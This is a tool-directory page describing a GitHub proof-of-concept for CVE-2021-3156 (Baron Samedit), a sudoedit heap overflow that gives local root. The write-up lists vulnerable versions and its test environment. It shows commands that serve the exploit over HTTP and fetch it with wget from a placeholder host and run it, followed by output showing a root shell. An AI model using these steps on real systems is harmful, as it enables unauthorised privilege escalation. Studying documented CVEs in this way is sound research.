Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Submit
ToolsExploitsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

FeedsContactPrivacy© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
Tools/GitHubGitHub/constantinefedorov/review.cve-2021-3156
Privilege EscalationVulnerability AnalysisExploitationPenetration TestingRed TeamingBinary Exploitation
GitHubconstantinefedorov/review.cve-2021-3156

Review.CVE-2021-3156

Share

Python proof-of-concept exploit for CVE-2021-3156 (Baron Samedit), a sudoedit heap overflow enabling local privilege escalation to root on vulnerable sudo builds.

View Repository
261 year agoNot yet reviewed

👑 CVE-2021-3156 (Baron Samedit) — Privilege Escalation via Heap Overflow in sudo

📅 Дата: 2025-06-08
✍️ Автор: @TopskiyPavelQwertyGang 🧠 Security Researcher | Red Team Enthusiast


🧠 CVE Overview

  • CVE-ID: CVE-2021-3156
  • Type: Heap-based Buffer Overflow
  • Component: sudoedit (sudo)
  • Access level: Local
  • Goal: Gaining root privileges

🧠 Description

A heap overflow in sudoedit allows a local user to gain root access
when running the sudoedit command with specially crafted parameters.

Exploitation is active for sudo versions < 1.9.5p2, including popular Ubuntu/Debian/CentOS images.
Even with ASLR enabled, the vulnerability remains exploitable.


🐾 Exploitation Conditions

OS     : Ubuntu 20.04.3 LTS
glibc  : 2.31 (tcache ON)
sudo   : 1.8.31 (vulnerable)
ASLR   : 2 (enabled)

🧪 Environment Preparation

  1. The versions of glibc and sudo were checked:
ldd --version
sudo --version
  1. PoC scripts were transferred from another machine via a built-in HTTP server:
python3 -m http.server 80
  1. On the target machine, the PoCs are downloaded and executed:
wget http://<IP>:80/exploit_nss.py
python3 exploit_nss.py

🚀 Successful PoC Exploitation

$ python3 exploit_nss.py
# whoami
root

🧾 Conclusion

Exploitation of CVE-2021-3156 remains possible even with ASLR active, if glibc ≥ 2.26 and sudo is a vulnerable version.
The most stable proved to be the exploit_nss.py exploit, which succeeds on the first try with a correct NSS configuration.

🧨 System under control.


Download Tool

Most Popular

View all →

Discover the most used tools by our community.

  • 1

    OsintHunter

    letox4/osinthunter

    🎯 The ultimate OSINT toolkit: investigation graph, confidence scoring, alias families, map, timeline and reports. 49 modules, 400+ sites, no API keys required.

    945
  • 2

    ghostlock-app

    yukonga/ghostlock-app

    GhostLock One-Tap Execution App (CVE-2026-43499)

    555
  • 3

    redforge

    cybersecurity91/redforge

    Browser-side red team toolkit with 102 offline tools for recon, payload generation, credential attacks, crypto, encoding and engagement reporting.

    350
  • 4

    ARTEX

    baarai/artex

    LLM multi-agent autonomous penetration testing platform with planner/worker agents, asset and exploration graphs, MITM traffic recording, and vulnerability retesting.

    339
  • 5

    looking-glass

    anonghosty/looking-glass

    CSIRT platform that ingests Shadowserver reports into MongoDB and replays them as interactive maps, analysis, findings, advisories and executive dashboards.

    338
  • 6

    CyberStrikeAI

    ed1s0nz/cyberstrikeai

    The system of action for AI-native cybersecurity—where intent becomes governed execution, evidence becomes operational memory, and every operation improves the next.

    292

Explore all tools

Browse our collection of tools

View all tools →